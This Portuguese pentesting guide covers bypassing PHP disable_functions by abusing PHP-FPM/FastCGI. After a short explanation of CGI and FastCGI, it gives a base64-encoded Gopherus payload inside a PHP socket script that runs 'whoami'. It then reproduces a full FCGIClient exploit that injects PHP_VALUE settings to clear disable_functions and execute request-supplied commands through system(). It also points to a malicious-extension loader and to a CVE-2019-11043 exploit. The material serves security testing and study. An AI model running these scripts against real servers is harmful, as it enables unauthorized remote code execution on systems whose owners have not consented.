disable_functions bypass - php-fpm/FastCGI

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PHP-FPM

PHP-FPM é apresentado como uma alternativa superior ao PHP FastCGI padrão, oferecendo recursos que são particularmente benéficos para sites com alto tráfego. Ele opera através de um processo mestre que supervisiona um conjunto de processos de trabalho. Para um pedido de script PHP, é o servidor web que inicia uma conexão proxy FastCGI com o serviço PHP-FPM. Este serviço tem a capacidade de receber solicitações tanto por meio de portas de rede no servidor quanto por meio de sockets Unix.

Apesar do papel intermediário da conexão proxy, o PHP-FPM precisa estar operacional na mesma máquina que o servidor web. A conexão que ele utiliza, embora baseada em proxy, difere das conexões proxy convencionais. Ao receber uma solicitação, um trabalhador disponível do PHP-FPM a processa—executando o script PHP e, em seguida, encaminhando os resultados de volta ao servidor web. Após um trabalhador concluir o processamento de uma solicitação, ele se torna disponível novamente para solicitações futuras.

Mas o que é CGI e FastCGI?

CGI

Normalmente, páginas web, arquivos e todos os documentos que são transferidos do servidor web para o navegador são armazenados em um diretório público específico, como home/user/public_html. Quando o navegador solicita determinado conteúdo, o servidor verifica este diretório e envia o arquivo necessário ao navegador.

Se CGI estiver instalado no servidor, o diretório específico cgi-bin também é adicionado lá, por exemplo, home/user/public_html/cgi-bin. Scripts CGI são armazenados neste diretório. Cada arquivo no diretório é tratado como um programa executável. Ao acessar um script do diretório, o servidor envia uma solicitação para a aplicação responsável por este script, em vez de enviar o conteúdo do arquivo para o navegador. Após o processamento dos dados de entrada ser concluído, a aplicação envia os dados de saída para o servidor web, que encaminha os dados para o cliente HTTP.

Por exemplo, quando o script CGI http://mysitename.com/cgi-bin/file.pl é acessado, o servidor executará a aplicação Perl apropriada através do CGI. Os dados gerados pela execução do script serão enviados pela aplicação para o servidor web. O servidor, por sua vez, transferirá os dados para o navegador. Se o servidor não tivesse CGI, o navegador exibiria o código do arquivo .pl em si. (explicação de aqui)

FastCGI

FastCGI é uma tecnologia web mais nova, uma versão aprimorada do CGI, pois a funcionalidade principal permanece a mesma.

A necessidade de desenvolver o FastCGI surgiu devido ao rápido desenvolvimento e complexidade das aplicações, além de abordar as deficiências de escalabilidade da tecnologia CGI. Para atender a esses requisitos, Open Market introduziu FastCGI – uma versão de alto desempenho da tecnologia CGI com capacidades aprimoradas.

disable_functions bypass

É possível executar código PHP abusando do FastCGI e evitando as limitações de disable_functions.

Via Gopherus

Usando Gopherus, você pode gerar um payload para enviar ao listener FastCGI e executar comandos arbitrários:

Então, você pode pegar o payload urlencoded e decodificá-lo e transformá-lo em base64, [usando esta receita do cyberchef, por exemplo](http://icyberchef.com/index.html#recipe=URL_Decode%28%29To_Base64%28'A-Za-z0-9%2B/%3D'%29&input=JTAxJTAxJTAwJTAxJTAwJTA4JTAwJTAwJTAwJTAxJTAwJTAwJTAwJTAwJTAwJTAwJTAxJTA0JTAwJTAxJTAxJTA0JTA0JTAwJTBGJTEwU0VSVkVSX1NPRlRXQVJFZ28lMjAvJTIwZmNnaWNsaWVudCUyMCUwQiUwOVJFTU9URV9BRERSMTI3LjAuMC4xJTBGJTA4U0VSVkVSX1BST1RPQ09MSFRUUC8xLjElMEUlMDJDT05URU5UX0xFTkdUSDc2JTBFJTA0UkVRVUVTVF9NRVRIT0RQT1NUJTA5S1BIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlJTIwJTNEJTIwT24lMEFkaXNhYmxlX2Z1bmN0aW9ucyUyMCUzRCUyMCUwQWF1dG9fcHJlcGVuZF9maWxlJTIwJTNEJTIwcGhwJTNBLy9pbnB1dCUwRiUxN1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDBMJTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3d2hvYW1pJTIwJTNFJTIwL3RtcC93aG9hbWkudHh0JTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNpeUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw). E então copie/cole o base64 neste código php:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

Fazendo o upload e acessando este script, o exploit será enviado para o FastCGI (desabilitando disable_functions) e os comandos especificados serão executados.

Exploit PHP

Código de aqui.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $filepath,
'SCRIPT_NAME'       => $req,
'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_value,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

Usando a função anterior, você verá que a função system está ainda desativada, mas phpinfo() mostra um disable_functions vazio:

Então, eu acho que você só pode definir disable_functions através de arquivos de configuração php .ini e o PHP_VALUE não irá substituir essa configuração.

FuckFastGCI

Este é um script php para explorar o protocolo fastcgi para contornar open_basedir e disable_functions.
Ele ajudará você a contornar disable_functions estritas para RCE carregando a extensão maliciosa.
Você pode acessá-lo aqui: https://github.com/w181496/FuckFastcgi ou uma versão ligeiramente modificada e melhorada aqui: https://github.com/BorelEnzo/FuckFastcgi

Você descobrirá que a exploração é muito semelhante ao código anterior, mas em vez de tentar contornar disable_functions usando PHP_VALUE, ela tenta carregar um módulo PHP externo para executar código usando os parâmetros extension_dir e extension dentro da variável PHP_ADMIN_VALUE.
NOTA1: Você provavelmente precisará recompilar a extensão com a mesma versão do PHP que o servidor está usando (você pode verificar isso na saída do phpinfo):

Vulnerabilidade de Execução Remota de Código PHP-FPM (CVE-2019–11043)

Você pode explorar essa vulnerabilidade com phuip-fpizdam e testá-la usando este ambiente docker: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043.
Você também pode encontrar uma análise da vulnerabilidade aqui.